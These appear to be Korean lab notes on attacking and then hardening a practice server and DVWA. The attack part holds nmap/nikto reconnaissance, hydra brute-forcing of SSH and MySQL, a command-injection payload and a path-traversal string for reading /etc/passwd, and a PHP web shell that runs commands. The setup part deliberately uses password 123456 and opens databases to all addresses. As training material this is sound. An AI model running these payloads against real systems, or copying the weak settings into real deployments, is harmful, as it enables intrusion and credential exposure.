hacker > st.kr
> ping st.kr
> nslookup st.kr
> traceroute st.kr
> nmap -v -sS -O st.kr
> dnsenum st.kr
> nikto -host st.kr
/var/log/apache2/access.log
---
kali에서 ssh 125.246.95.152를 입력하면 kali라는 사용자로 접속 요청이 감.
하지만 서버에서 kali라는 이름이 존재 하지 않기 때문에 시스템 사용자를 찾아야 함.
루트로 ssh 접속 가능여부 확인
/etc/ssh/sshd_config
#authentication :
#PermitRootLogin prohibit-password
이렇게 주석 처리가 되어있기 때문에 일반적으로는 root로 접속을 못함.
그러므로 해커는 루트 접속이 가능한 일반 사용자를 찾아야 함.
접속 관련 로그 > /var/log/auth.log
hacker > hydra -L user.txt -P passwd.txt st.kr ssh
찾은 사용자와 패스워드 (master, 123456)로 접속 시도
hacker > ssh master@st.kr , 123456
---
adduser 명령어로 사용자를 추가하면 /etc/passwd에 저장이 된다.
dvwa.st.kr
admin
password
dvwa 웹의 취약점을 이용하여 사용자(/etc/passwd) 탐색.
DVWA Security > Security Level > low
1) Command Injaction > ; cat /etc/passwd
2) 파일 위치 요청
File Inclusion > file 1

/?page=file1.php를 상대경로를 이용하여 /etc/passwd 파일을 열게 만든다.
저 페이지의 위치가 /home/dvwa/public_html/vulnerablities/fi이므로,
cd ..을 이용하여 / 까지 이동하는 횟수를 카운트해서 뒤에 /etc/passwd를 붙인다(?)

결과 > ?page=../../../../../etc/passwd
3. 파일 업로드를 이용한 명령어 실행
kali에서 attack.php 생성
kali > nano attack.php
<?php
$cmd = $_GET['cmd'];
$result = system($cmd);
echo "<br>";
echo "<hr>";
echo $result;
?>
웹 > File Upload > Browse .. > /home/attack.php open >
업로드를 하면 파일이 저장되는 경로가 /home/dvwa/public_html/hackable/upload이다.
업로드 후 url에 http://dvwa.st.kr/hackable/uploads/attack.php?cmd=ls
를 하면 ls 명령어가 실행이 되고,

이걸 이용하여 http://dvwa.st.kr/hackable/uploads/attack.php?cmd=cat /etc/passwd
를 입력하면 passwd 파일의 내용이 cat으로 읽혀 출력 된다.
-----
대응
1. ssh 접속 차단
1-1) 관리자만 접속가능하게 설정 > tcpwrapper 설정
*/etc/hosts.allow부터 설정하기 !
> nano /etc/hosts.allow
sshd : 192.168.0.3
> nano /etc/hosts.deny
ALL:ALL
1-2) ssh 포트번호 변경
> nano /etc/ssh/sshd_config
SELK 우분투 버전을 22.04로 낮춘 후 다시 세팅 진행
NAT, Xshell로 접속하여 세팅.
> sudo passwd root
123456
> su
> apt update
> nano /etc/hostname
log.st.kr
> nano /etc/rsyslog.conf
주석 해제
#modul(load="imtcp")
#input(type="imctp" port="514")
밑에 추가.
$AllowedSender TCP, 10.0.2.0/24, *.st.kr
> apt -y install net-tools
> netstat -ant | grep 514
> systemctl start rsyslog
> systemctl restart rsyslog
> apt -y install mariadb-server
> apt -y install rsyslog-mysql
Yes - 123456
> mysql
> show databases;
> use Syslog;
> show tables;
> desc SystemEvents;
> select * from SystemEvents;
Rsync 설정
> apt -y install rsync
> nano /etc/rsyncd.conf
#create new
#any name you like
[backup]
#target directory to copy
path = /backup
#hosts you allow to access
hosts allow=10.0.2.15
hosts deny=*
list=true
uid=root
gid=root
read only=false
> systemctl restart rsync
> systemctl enable rsync
ELK 설치
> sudo apt -y install default-jre
> sudo apt -y install default-jdk
> sudo apt -y install nginx
> curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch |sudo gpg --dearmor -o /usr/share/keyrings/elastic.gpg
> echo "deb [signed-by=/usr/share/keyrings/elastic.gpg] https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-7.x.list
> sudo apt update
> sudo apt -y install elasticsearch
/etc/elasticsearch/elasticsearch.yml
> sudo systemctl start elasticsearch
> sudo systemctl enable elasticsearch
curl -X GET "localhost:9200"
> sudo apt -y install kibana
> sudo systemctl start kibana
> sudo systemctl enable kibana
> sudo apt -y install logstash
---
GNS로 가져오기
> sudo nano /etc/netplan/00-installer-config.yaml
addresses: [10.0.2.3/24]
gateway4: 10.0.2.2
nameservers:
addresses: [10.0.2.15]
> sudo netplan apply
관리자 (Win7)에서 접속.
우분투 메인서버
> sudo nano /etc/rsyslog.d/50-default.conf
action(type="omfwd"
queue.filename="IP15.st.kr"
queue.maxdiskspace="1g"
queue.saveonshutdown="on"
queue.type="LinkedList"
action.resumeRetryCount="-1"
Target="10.0.2.3" Port="514" Protocol="tcp")
> systemctl restart rsyslog
> netstat -ant | grep 514
10.0.2.3의 514 포트와 연결된 것 확인 가능.
---
관리자 (Win7)
MySQL Workbench 8.0 CE > MySQL Connections > Edit Connection
DB는 기본적으로 외부접속 허용이 안 되어 있어서 로그서버에서 설정을 해주어야 한다.
1. 192.168.0.3(관리자(Win7))에서만 접속 가능하게 DB user 설정
> mysql
CREATE USER rsyslog@'192.168.0.3' IDENTIFIED BY '123456';
GRANT ALL ON Syslog.* TO rsyslog@'192.168.0.3';
FLUSH PRIVILEGES;
2. 파일 설정
> nano /etc/mysql/mariadb.conf.d/50-server.cnf
bind-address = 127.0.0.1 -> 0.0.0.0 수정
> systemctl restart mariadb
정상적으로 win7에서 mysql을 접속할 수 있다.
---
메인 서버의 db도 외부 접속 허용 후 hydra 공격하기.
> mysql
CREATE USER 'dvwa'@'%' IDENTIFIED BY '123456';
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'%';
FLUSH PRIVILEGES;
> exit
> nano /etc/mysql/mariadb.conf.d/50-server.cnf
bind-address = 127.0.0.1 -> 0.0.0.0 수정
kali > hydra -L user.txt -P passwd.txt st.kr mysql
을 하면 dvwa, 123456을 찾는다.
그러고 나서
> mysql -h st.kr -u dvwa -p
로 접속 시도하면 칼리에서 정상적으로 접속이 가능하다.